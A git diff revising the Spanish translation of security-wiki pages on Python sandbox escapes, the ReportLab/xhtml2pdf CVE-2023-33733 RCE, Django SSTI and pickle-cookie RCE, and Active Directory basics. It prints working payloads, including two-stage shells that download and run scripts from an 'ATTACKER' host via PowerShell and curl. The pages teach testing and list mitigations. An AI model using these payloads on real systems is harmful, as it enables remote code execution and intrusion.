 def get_flag(some_input):
 var1=1
@ -946,9 +946,9 @@ return calc_flag("VjkuKuVjgHnci")
 else:
 return "Nope"
 ```
-### Creando el objeto code
+### Creando el code object

-Antes que nada, necesitamos saber **cómo crear y ejecutar un code object** para que podamos crear uno para ejecutar nuestra función leaked:
+En primer lugar, necesitamos saber **cómo crear y ejecutar un code object** para que podamos crear uno para ejecutar nuestra función leaked:
 ```python
 code_type = type((lambda: None).__code__)
 # Check the following hint if you get an error in calling this
@ -968,7 +968,7 @@ mydict['__builtins__'] = __builtins__
 function_type(code_obj, mydict, None, None, None)("secretcode")
 ```
 > [!TIP]
-> Dependiendo de la versión de Python los **parámetros** de `code_type` pueden tener un **orden distinto**. La mejor manera de conocer el orden de los parámetros en la versión de Python que estás ejecutando es ejecutar:
+> Dependiendo de la versión de python, los **parámetros** de `code_type` pueden tener un **orden diferente**. La mejor manera de conocer el orden de los params en la versión de python que estás ejecutando es ejecutar:
 >
 > ```
 > import types
@ -976,10 +976,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
 > 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n      flags, codestring, constants, names, varnames, filename, name,\n      firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object.  Not for the faint of heart.'
 > ```

-### Recreando una función leaked
+### Recreando una leaked función

 > [!WARNING]
-> En el siguiente ejemplo, vamos a tomar todos los datos necesarios para recrear la función directamente desde el objeto code de la función. En un **ejemplo real**, todos los **valores** para ejecutar la función **`code_type`** son los que **tendrás que leak**.
+> En el siguiente ejemplo, vamos a tomar todos los datos necesarios para recrear la función desde el function code object directamente. En un **ejemplo real**, todos los **valores** para ejecutar la función **`code_type`** es lo que **tendrás que leak**.
 ```python
 fc = get_flag.__code__
 # In a real situation the values like fc.co_argcount are the ones you need to leak
@ -992,8 +992,8 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
 ```
 ### Eludir defensas

-En ejemplos previos al comienzo de este post, puedes ver **cómo ejecutar cualquier código python usando la función `compile`**. Esto es interesante porque puedes **ejecutar scripts completos** con bucles y todo en una **línea** (y podríamos hacer lo mismo usando **`exec`**).\
-De todas formas, a veces puede ser útil **crear** un **objeto compilado** en una máquina local y ejecutarlo en la **CTF machine** (por ejemplo porque no tenemos la función `compiled` en el CTF).
+En ejemplos anteriores al principio de este post, puedes ver **cómo ejecutar cualquier código python usando la función `compile`**. Esto es interesante porque puedes **ejecutar scripts completos** con bucles y todo en **una sola línea** (y podríamos hacer lo mismo usando **`exec`**).\
+De todas formas, a veces puede ser útil **crear** un **objeto compilado** en una máquina local y ejecutarlo en la **máquina CTF** (por ejemplo porque no tenemos la función `compiled` en la CTF).

 Por ejemplo, compilemos y ejecutemos manualmente una función que lee _./poc.py_:
 ```python
@ -1022,7 +1022,7 @@ mydict['__builtins__'] = __builtins__
 codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
 function_type(codeobj, mydict, None, None, None)()
 ```
-Si no puedes acceder a `eval` o `exec` puedes crear una **función propiamente dicha**, pero llamarla directamente suele fallar con: _constructor no accesible en modo restringido_. Por lo tanto necesitas una **función que no esté en el entorno restringido para llamar a esta función.**
+Si no puedes acceder a `eval` o `exec` podrías crear una **función adecuada**, pero llamarla directamente normalmente fallará con: _constructor no accesible en modo restringido_. Así que necesitas una **función que no esté en el entorno restringido para invocar esta función.**
 ```python
 #Compile a regular print
 ftype = type(lambda: None)
@ -1030,9 +1030,9 @@ ctype = type((lambda: None).func_code)
 f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
 f(42)
 ```
-## Descompilar Python compilado
+## Decompiling Compiled Python

-Usando herramientas como [**https://www.decompiler.com/**](https://www.decompiler.com) se puede **descompilar** código Python compilado.
+Usando herramientas como [**https://www.decompiler.com/**](https://www.decompiler.com) se puede **decompile** el código Python compilado dado.

 **Consulta este tutorial**:

@ -1041,11 +1041,11 @@ Usando herramientas como [**https://www.decompiler.com/**](https://www.decompile
 ../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
 {{#endref}}

-## Varios de Python
+## Miscelánea de Python

 ### Assert

-Python ejecutado con optimizaciones con el parámetro `-O` eliminará las asset statements y cualquier código condicional al valor de **debug**.\
+Python ejecutado con optimizaciones usando el parámetro `-O` eliminará las instrucciones assert y cualquier código condicional según el valor de **debug**.\
 Por lo tanto, comprobaciones como
 ```python
 def check_permission(super_user):
--- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
+++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -2,78 +2,78 @@

 {{#include ../../../banners/hacktricks-training.md}}

-Esta página documenta un escape práctico del sandbox y un primitivo RCE en rl_safe_eval de ReportLab usado por xhtml2pdf y otras canalizaciones de generación de PDF al renderizar HTML controlado por el usuario en PDFs.
+Esta página documenta un escape práctico del sandbox y un primitivo RCE en rl_safe_eval de ReportLab usado por xhtml2pdf y otros pipelines de generación de PDF al renderizar HTML controlado por el usuario en PDFs.

-CVE-2023-33733 afecta a ReportLab en versiones hasta e incluyendo la 3.6.12. En ciertos contextos de atributos (por ejemplo color), los valores envueltos en triple corchete [[[ ... ]]] son evaluados del lado del servidor por rl_safe_eval. Al construir un payload que pivota desde un builtin en la whitelist (pow) hacia los globals de la función Python, un atacante puede alcanzar el módulo os y ejecutar comandos.
+CVE-2023-33733 afecta a ReportLab en versiones hasta e incluyendo la 3.6.12. En ciertos contextos de atributos (por ejemplo color), los valores encerrados en triple corchete [[[ ... ]]] son evaluados del lado servidor por rl_safe_eval. Al crear un payload que pivota desde un builtin en la whitelist (pow) hacia los globals de la función Python, un atacante puede alcanzar el módulo os y ejecutar comandos.

 Puntos clave
- Trigger: inyectar [[[ ... ]]] en atributos evaluados como <font color="..."> dentro de markup procesado por ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval reemplaza builtins peligrosos pero las funciones evaluadas siguen exponiendo __globals__.
- Bypass: crear una clase transitoria Word para eludir las comprobaciones de nombres de rl_safe_eval y acceder a la cadena "__globals__" evitando el filtrado de dunders bloqueados.
+- Trigger: inject [[[ ... ]]] into evaluated attributes such as <font color="..."> within markup parsed by ReportLab/xhtml2pdf.
+- Sandbox: rl_safe_eval reemplaza builtins peligrosos pero las funciones evaluadas aún exponen __globals__.
+- Bypass: craft a transient class Word to bypass rl_safe_eval name checks and access the string "__globals__" while avoiding blocked dunder filtering.
 - RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
- Estabilidad: devolver un valor válido para el atributo tras la ejecución (para color, usar and 'red').
+- Stability: Return a valid value for the attribute after execution (for color, use and 'red').

 Cuándo probar
- Aplicaciones que exponen exportación HTML-a-PDF (profiles, invoices, reports) y muestran xhtml2pdf/ReportLab en metadata del PDF o comentarios de la respuesta HTTP.
+- Aplicaciones que ofrecen exportar HTML a PDF (perfiles, facturas, reportes) y muestran xhtml2pdf/ReportLab en los metadatos del PDF o en comentarios de la respuesta HTTP.
 - exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
- La respuesta HTTP para PDF a menudo comienza con un comentario generador de ReportLab
+- La respuesta HTTP del PDF a menudo comienza con un comentario del generador ReportLab

 Cómo funciona el bypass del sandbox
- rl_safe_eval elimina o reemplaza muchos builtins (getattr, type, pow, ...) y aplica filtrado de nombres para denegar atributos que empiezan con __ o que están en una denylist.
+- rl_safe_eval elimina o reemplaza muchos builtins (getattr, type, pow, ...) y aplica filtrado de nombres para negar atributos que empiezan con __ o que están en una denylist.
 - Sin embargo, las funciones seguras viven en un diccionario globals accesible como func.__globals__.
- Usar type(type(1)) para recuperar la verdadera función builtin type (eludiendo el wrapper de ReportLab), luego definir una clase Word derivada de str con comportamiento de comparación mutado de modo que:
-  - .startswith('__') → siempre False (elude la comprobación name startswith('__'))
-  - .__eq__ devuelve False solo en la primera comparación (elude las comprobaciones de pertenencia en la denylist) y True después (para que getattr funcione)
-  - .__hash__ igual a hash(str(self))
- Con esto, getattr(pow, Word('__globals__')) devuelve el dict globals de la función pow envuelta, que incluye un módulo os importado. Luego: ['os'].system('<cmd>').
+- Usa type(type(1)) para recuperar la función builtin real type (evadiendo el wrapper de ReportLab), luego define una clase Word derivada de str con comportamiento de comparación mutado de manera que:
+- .startswith('__') → siempre False (evita la comprobación startswith('__') sobre nombres)
+- .__eq__ devuelve False solo en la primera comparación (evita las comprobaciones de pertenencia en la denylist) y True después (para que getattr funcione)
+- .__hash__ igual a hash(str(self))
+- Con esto, getattr(pow, Word('__globals__')) devuelve el dict de globals de la función pow envuelta, que incluye un módulo os importado. Entonces: ['os'].system('<cmd>').

-Patrón mínimo de explotación (ejemplo en atributo)
-Coloca el payload dentro de un atributo evaluado y asegúrate de que devuelva un valor válido para el atributo vía boolean y 'red'.
+Patrón mínimo de explotación (ejemplo de atributo)
+Coloca el payload dentro de un atributo evaluado y asegúrate de que devuelva un valor válido para el atributo vía booleano y 'red'.

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
 exploit
 </font></para>

- La forma con list-comprehension permite una única expresión aceptable para rl_safe_eval.
- El trailing and 'red' devuelve un color CSS válido para que el render no falle.
- Reemplaza el comando según necesites; usa ping para validar la ejecución con tcpdump.
+- La forma de list-comprehension permite una única expresión aceptable por rl_safe_eval.
+- El sufijo and 'red' devuelve un color CSS válido para que el render no falle.
+- Reemplaza el comando según sea necesario; usa ping para validar la ejecución con tcpdump.

 Flujo operativo
-1) Identificar el generador de PDFs
- El PDF Producer muestra xhtml2pdf; la respuesta HTTP contiene un comentario de ReportLab.
-2) Encontrar una entrada reflejada en el PDF (por ejemplo, perfil bio/description) y disparar una exportación.
+1) Identificar el generador de PDF
+- El campo Producer del PDF muestra xhtml2pdf; la respuesta HTTP contiene un comentario de ReportLab.
+2) Encontrar una entrada reflejada en el PDF (por ejemplo bio/description del perfil) y disparar una exportación.
 3) Verificar la ejecución con ICMP de bajo ruido
- Run: sudo tcpdump -ni <iface> icmp
+- Ejecuta: sudo tcpdump -ni <iface> icmp
 - Payload: ... system('ping <your_ip>') ...
 - Windows a menudo envía exactamente cuatro echo requests por defecto.
 4) Establecer una shell
 - Para Windows, un enfoque fiable en dos etapas evita problemas de quoting/encoding:
- Stage 1 (download):
+- Etapa 1 (descarga):

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>

- Stage 2 (execute):
+- Etapa 2 (ejecutar):

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>

- Para objetivos Linux, es posible una aproximación similar en dos etapas con curl/wget:
+- Para objetivos Linux, es posible una aproximación en dos etapas similar con curl/wget:
 - system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')

 Notas y consejos
- Contextos de atributos: color es un atributo conocido que se evalúa; otros atributos en el markup de ReportLab también pueden evaluar expresiones. Si una ubicación está sanitizada, prueba otras que se rendericen en el flujo del PDF (diferentes campos, estilos de tabla, etc.).
+- Contextos de atributos: color es un atributo conocido que se evalúa; otros atributos en el marcado de ReportLab también pueden evaluar expresiones. Si una ubicación está sanitizada, prueba otras que se rendericen en el flujo del PDF (diferentes campos, estilos de tabla, etc.).
 - Quoting: Mantén los comandos compactos. Las descargas en dos etapas reducen drásticamente problemas de quoting y escaping.
- Fiabilidad: Si las exportaciones se cachean o encolan, varía ligeramente el payload (por ejemplo, ruta o query aleatoria) para evitar caches.
+- Fiabilidad: Si las exportaciones se cachean o encolan, varía ligeramente el payload (por ejemplo ruta o query aleatoria) para evitar cachés.

 Mitigaciones y detección
- Actualiza ReportLab a 3.6.13 o posterior (CVE-2023-33733 corregido). También sigue los avisos de seguridad en paquetes de la distro.
- No proceses HTML/markup controlado por el usuario directamente con xhtml2pdf/ReportLab sin una sanitización estricta. Elimina/deniega las construcciones de evaluación [[[...]]] y etiquetas específicas del vendor cuando la entrada no sea de confianza.
- Considera deshabilitar o envolver el uso de rl_safe_eval por completo para entradas no confiables.
- Monitoriza conexiones salientes sospechosas durante la generación de PDFs (p. ej., ICMP/HTTP desde servidores de la app al exportar documentos).
+- Actualizar ReportLab a 3.6.13 o posterior (CVE-2023-33733 corregido). Seguir también los avisos de seguridad en paquetes de la distro.
+- No alimentar HTML/markup controlado por el usuario directamente a xhtml2pdf/ReportLab sin una sanitización estricta. Eliminar/negar [[[...]]] y tags específicos del vendor cuando la entrada no sea de confianza.
+- Considerar deshabilitar o envolver el uso de rl_safe_eval completamente para entradas no confiables.
+- Monitorizar conexiones salientes sospechosas durante la generación de PDFs (por ejemplo ICMP/HTTP desde servidores de aplicación al exportar documentos).

 Referencias
- PoC y análisis técnico: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
- 0xdf University HTB write-up (explotación en el mundo real, payloads Windows en dos etapas): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
- Entrada NVD (versiones afectadas): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
- Docs de xhtml2pdf (conceptos de markup/página): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
+- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
+- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
+- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
+- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)

 {{#include ../../../banners/hacktricks-training.md}}
--- a/src/network-services-pentesting/pentesting-web/django.md
+++ b/src/network-services-pentesting/pentesting-web/django.md
@ -3,42 +3,42 @@
 {{#include ../../banners/hacktricks-training.md}}

 ## Cache Manipulation to RCE
-El método de almacenamiento de cache por defecto de Django es [Python pickles], lo que puede conducir a RCE si [untrusted input is unpickled]. **Si un atacante puede obtener acceso de escritura al cache, puede escalar esta vulnerabilidad a RCE en el servidor subyacente**.
+Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server**.

-El cache de Django se almacena en uno de cuatro sitios: [Redis], [memory], [files], o una [database]. El cache almacenado en un servidor Redis o en una base de datos son los vectores de ataque más probables (Redis injection y SQL injection), pero un atacante también podría usar el cache basado en archivos para convertir una escritura arbitraria en RCE. Los mantenedores lo han marcado como no problemático. Es importante tener en cuenta que la carpeta de archivos del cache, el nombre de la tabla SQL y los detalles del servidor Redis variarán según la implementación.
+Django cache is stored in one of four places: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Los mantenedores lo han marcado como no problemático. Es importante notar que la carpeta de archivos del cache, el nombre de la tabla SQL y los detalles del servidor Redis variarán según la implementación.

-Este informe de HackerOne proporciona un gran ejemplo reproducible de explotación del cache de Django almacenado en una base de datos SQLite: https://hackerone.com/reports/1415436
+This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436

 ---

 ## Server-Side Template Injection (SSTI)
-La Django Template Language (DTL) es **Turing-complete**. Si datos proporcionados por el usuario se renderizan como una *template string* (por ejemplo llamando a `Template(user_input).render()` o cuando `|safe`/`format_html()` elimina el auto-escaping), un atacante puede lograr SSTI completo → RCE.
+The Django Template Language (DTL) is **Turing-complete**. If user-supplied data is rendered as a *template string* (for example by calling `Template(user_input).render()` or when `|safe`/`format_html()` removes auto-escaping), an attacker may achieve full SSTI → RCE.

 ### Detección
-1. Busca llamadas dinámicas a `Template()` / `Engine.from_string()` / `render_to_string()` que incluyan *cualquier* dato de la solicitud sin sanear.
-2. Envía una payload basada en tiempo o aritmética:
+1. Busca llamadas dinámicas a `Template()` / `Engine.from_string()` / `render_to_string()` que incluyan *cualquier* dato de la solicitud sin sanitizar.
+2. Envía una carga útil basada en tiempo o aritmética:
 ```django
 {{7*7}}
 ```
-Si la salida renderizada contiene `49`, la entrada está siendo compilada por el motor de plantillas.
+Si la salida renderizada contiene `49`, la entrada es compilada por el motor de templates.

-### Primitive to RCE
+### Primitiva para RCE
 Django blocks direct access to `__import__`, but the Python object graph is reachable:
 ```django
 {{''.__class__.mro()[1].__subclasses__()}}
 ```
-Encuentra el índice de `subprocess.Popen` (≈400–500 según la build de Python) y ejecuta comandos arbitrarios:
+Encuentra el índice de `subprocess.Popen` (≈400–500 dependiendo de la build de Python) y ejecuta comandos arbitrarios:
 ```django
 {{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
 ```
-Un gadget universal más seguro es iterar hasta que `cls.__name__ == 'Popen'`.
+Un gadget universal más seguro es iterar hasta `cls.__name__ == 'Popen'`.

-El mismo gadget funciona para las funcionalidades de renderizado de plantillas de **Debug Toolbar** o **Django-CMS** que manejan incorrectamente la entrada del usuario.
+El mismo gadget funciona para **Debug Toolbar** o **Django-CMS** en las características de renderizado de plantillas que gestionan incorrectamente la entrada del usuario.

 ---

-### Véase también: ReportLab/xhtml2pdf PDF export RCE
-Las aplicaciones basadas en Django comúnmente integran xhtml2pdf/ReportLab para exportar vistas como PDF. Cuando HTML controlado por el usuario fluye hacia la generación de PDF, rl_safe_eval puede evaluar expresiones dentro de triple corchetes `[[[ ... ]]]`, lo que permite ejecución de código (CVE-2023-33733). Detalles, payloads, y mitigaciones:
+### También ver: ReportLab/xhtml2pdf PDF export RCE
+Las aplicaciones construidas sobre Django comúnmente integran xhtml2pdf/ReportLab para exportar vistas como PDF. Cuando HTML controlado por el usuario fluye hacia la generación de PDF, rl_safe_eval puede evaluar expresiones dentro de triple corchetes `[[[ ... ]]]`, permitiendo ejecución de código (CVE-2023-33733). Detalles, payloads, y mitigaciones:

 {{#ref}}
 ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -47,13 +47,13 @@ Las aplicaciones basadas en Django comúnmente integran xhtml2pdf/ReportLab para
 ---

 ## Pickle-Backed Session Cookie RCE
-If the setting `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` is enabled (or a custom serializer that deserialises pickle), Django *decrypts and unpickles* the session cookie **before** calling any view code. Therefore, possessing a valid signing key (the project `SECRET_KEY` by default) is enough for immediate remote code execution.
+Si la configuración `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` está habilitada (o un serializer personalizado que deserializa pickle), Django *descifra y deserializa* la cookie de sesión **antes** de ejecutar cualquier código de vista. Por lo tanto, poseer una clave de firma válida (el `SECRET_KEY` del proyecto por defecto) es suficiente para ejecución remota de código inmediata.

-### Exploit Requirements
+### Requisitos del exploit
 * El servidor usa `PickleSerializer`.
 * El atacante conoce / puede adivinar `settings.SECRET_KEY` (leaks via GitHub, `.env`, páginas de error, etc.).

-### Proof-of-Concept
+### Prueba de concepto
 ```python
 #!/usr/bin/env python3
 from django.contrib.sessions.serializers import PickleSerializer
@ -67,22 +67,22 @@ return (os.system, ("id > /tmp/pwned",))
 mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
 print(f"sessionid={mal}")
 ```
-Envía la cookie resultante, y el payload se ejecuta con los permisos del worker WSGI.
+Envía la cookie resultante, y el payload se ejecuta con los permisos del WSGI worker.

-**Mitigations**: Mantén el `JSONSerializer` por defecto, rota `SECRET_KEY`, y configura `SESSION_COOKIE_HTTPONLY`.
+**Mitigaciones**: Mantener el `JSONSerializer` por defecto, rotar `SECRET_KEY` y configurar `SESSION_COOKIE_HTTPONLY`.

 ---

-## Recientes (2023-2025) CVEs de alto impacto de Django que los Pentesters deben revisar
-* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (fixeado el 4 de junio de 2025). Permite a atacantes introducir saltos de línea/códigos ANSI en archivos de log y envenenar el análisis de logs aguas abajo. Nivel de parche ≥ 4.2.22 / 5.1.10 / 5.2.2.
-* **CVE-2024-42005** – *Critical SQL injection* en `QuerySet.values()/values_list()` sobre `JSONField` (CVSS 9.8). Forja claves JSON para romper las comillas y ejecutar SQL arbitrario. Fijado en 4.2.15 / 5.0.8.
+## CVE recientes (2023-2025) de alto impacto de Django que los Pentesters deberían revisar
+* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (fixeado el 4 de junio de 2025). Permite a atacantes introducir nuevas líneas/códigos ANSI en los archivos de registro y envenenar el análisis de logs aguas abajo. Parche ≥ 4.2.22 / 5.1.10 / 5.2.2.
+* **CVE-2024-42005** – *Critical SQL injection* en `QuerySet.values()/values_list()` sobre `JSONField` (CVSS 9.8). Construir claves JSON para salir de las comillas y ejecutar SQL arbitrario. Fijado en 4.2.15 / 5.0.8.

-Siempre identifica la versión exacta del framework mediante la página de error `X-Frame-Options` o el hash de `/static/admin/css/base.css` y prueba lo anterior cuando proceda.
+Siempre fingerprint la versión exacta del framework vía la página de error `X-Frame-Options` o el hash de `/static/admin/css/base.css` y prueba lo anterior cuando corresponda.

 ---

 ## Referencias
-* Aviso de seguridad de Django – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
+* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
 * OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
 * 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)

--- a/src/windows-hardening/active-directory-methodology/README.md
+++ b/src/windows-hardening/active-directory-methodology/README.md
@ -2,66 +2,66 @@

 {{#include ../../banners/hacktricks-training.md}}

-## Visión general básica
+## Descripción básica

-**Active Directory** sirve como una tecnología fundamental, que permite a los **administradores de red** crear y gestionar de forma eficiente **dominios**, **usuarios** y **objetos** dentro de una red. Está diseñado para escalar, facilitando la organización de un gran número de usuarios en **grupos** y **subgrupos** manejables, mientras controla los **derechos de acceso** en varios niveles.
+**Active Directory** sirve como una tecnología fundamental, permitiendo a los **administradores de red** crear y gestionar de forma eficiente **dominios**, **usuarios** y **objetos** dentro de una red. Está diseñado para escalar, facilitando la organización de un gran número de usuarios en **grupos** y **subgrupos** manejables, mientras controla los **derechos de acceso** en distintos niveles.

-La estructura de **Active Directory** está compuesta por tres capas principales: **dominios**, **árboles** y **bosques**. Un **dominio** abarca una colección de objetos, como **usuarios** o **dispositivos**, que comparten una base de datos común. Los **árboles** son grupos de estos dominios enlazados por una estructura compartida, y un **bosque** representa la colección de múltiples árboles, interconectados mediante **relaciones de confianza**, formando la capa superior de la estructura organizativa. Se pueden designar **derechos de acceso** y **comunicación** específicos en cada uno de estos niveles.
+La estructura de **Active Directory** se compone de tres capas principales: **dominios**, **árboles** y **bosques**. Un **dominio** abarca una colección de objetos, como **usuarios** o **dispositivos**, que comparten una base de datos común. Los **árboles** son conjuntos de estos dominios enlazados por una estructura común, y un **bosque** representa la colección de varios árboles, interconectados mediante **trust relationships**, formando la capa superior de la estructura organizativa. Se pueden designar **derechos de acceso** y **comunicación** específicos en cada uno de estos niveles.

 Conceptos clave dentro de **Active Directory** incluyen:

-1. **Directorio** – Contiene toda la información relativa a los objetos de Active Directory.
-2. **Objeto** – Denota entidades dentro del directorio, incluyendo **usuarios**, **grupos** o **carpetas compartidas**.
-3. **Dominio** – Sirve como contenedor para objetos del directorio, con la capacidad de que múltiples dominios coexistan dentro de un **bosque**, cada uno manteniendo su propia colección de objetos.
-4. **Árbol** – Agrupación de dominios que comparten un dominio raíz común.
-5. **Bosque** – La cúspide de la estructura organizativa en Active Directory, compuesto por varios árboles con **relaciones de confianza** entre ellos.
+1. **Directory** – Aloja toda la información relativa a los objetos de Active Directory.
+2. **Object** – Denota entidades dentro del directorio, incluyendo **usuarios**, **grupos** o **carpetas compartidas**.
+3. **Domain** – Sirve como contenedor para objetos del directorio, pudiendo coexistir múltiples dominios dentro de un **forest**, cada uno manteniendo su propia colección de objetos.
+4. **Tree** – Agrupación de dominios que comparten un dominio raíz común.
+5. **Forest** – La cúspide de la estructura organizativa en Active Directory, compuesta por varios árboles con **trust relationships** entre ellos.

 **Active Directory Domain Services (AD DS)** abarca una serie de servicios críticos para la gestión centralizada y la comunicación dentro de una red. Estos servicios comprenden:

-1. **Domain Services** – Centraliza el almacenamiento de datos y gestiona las interacciones entre **usuarios** y **dominios**, incluyendo **autenticación** y funciones de **búsqueda**.
-2. **Certificate Services** – Supervisa la creación, distribución y gestión de **certificados digitales** seguros.
-3. **Lightweight Directory Services** – Soporta aplicaciones habilitadas para directorio mediante el **protocolo LDAP**.
+1. **Domain Services** – Centraliza el almacenamiento de datos y gestiona las interacciones entre **usuarios** y **dominios**, incluyendo **authentication** y funcionalidades de **search**.
+2. **Certificate Services** – Supervisa la creación, distribución y gestión de **digital certificates** seguras.
+3. **Lightweight Directory Services** – Da soporte a aplicaciones habilitadas para directorio mediante el **LDAP protocol**.
 4. **Directory Federation Services** – Proporciona capacidades de **single-sign-on** para autenticar usuarios en múltiples aplicaciones web en una sola sesión.
 5. **Rights Management** – Ayuda a proteger material con derechos de autor regulando su distribución y uso no autorizados.
-6. **DNS Service** – Crucial para la resolución de **nombres de dominio**.
+6. **DNS Service** – Crucial para la resolución de **domain names**.

 Para una explicación más detallada consulta: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)

 ### **Kerberos Authentication**

-Para aprender a **atacar un AD** necesitas **entender** muy bien el **proceso de autenticación Kerberos**.\
+Para aprender a **atacar un AD** necesitas entender muy bien el proceso de **autenticación Kerberos**.\
 [**Read this page if you still don't know how it works.**](kerberos-authentication.md)

-## Hoja de referencia
+## Cheat Sheet

-Puedes acudir a [https://wadcoms.github.io/](https://wadcoms.github.io) para obtener una vista rápida de qué comandos puedes ejecutar para enumerar/explotar un AD.
+Puedes visitar [https://wadcoms.github.io/](https://wadcoms.github.io) para obtener una vista rápida de qué comandos puedes ejecutar para enumerar/explotar un AD.

 > [!WARNING]
-> La comunicación Kerberos **requiere un nombre completamente calificado (FQDN)** para realizar acciones. Si intentas acceder a una máquina por la dirección IP, **usará NTLM y no Kerberos**.
+> La comunicación Kerberos **requiere un nombre totalmente calificado (FQDN)** para realizar acciones. Si intentas acceder a una máquina por la dirección IP, **usará NTLM y no Kerberos**.

-## Recon Active Directory (sin credenciales/sesiones)
+## Recon de Active Directory (sin credenciales/sesiones)

-Si solo tienes acceso a un entorno AD pero no tienes credenciales/sesiones, podrías:
+Si solo tienes acceso al entorno AD pero no dispones de credenciales/sesiones, podrías:

 - **Pentest the network:**
- Escanea la red, encuentra máquinas y puertos abiertos e intenta **explotar vulnerabilidades** o **extraer credenciales** de ellas (por ejemplo, [las impresoras podrían ser objetivos muy interesantes](ad-information-in-printers.md)).
- La enumeración de DNS puede dar información sobre servidores clave en el dominio como web, impresoras, recursos compartidos, vpn, media, etc.
+- Escanear la red, encontrar máquinas y puertos abiertos e intentar **explotar vulnerabilidades** o **extraer credenciales** de ellas (por ejemplo, [las impresoras pueden ser objetivos muy interesantes](ad-information-in-printers.md)).
+- Enumerar DNS puede dar información sobre servidores clave en el dominio como web, impresoras, shares, vpn, media, etc.
 - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- Consulta la [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) general para encontrar más información sobre cómo hacer esto.
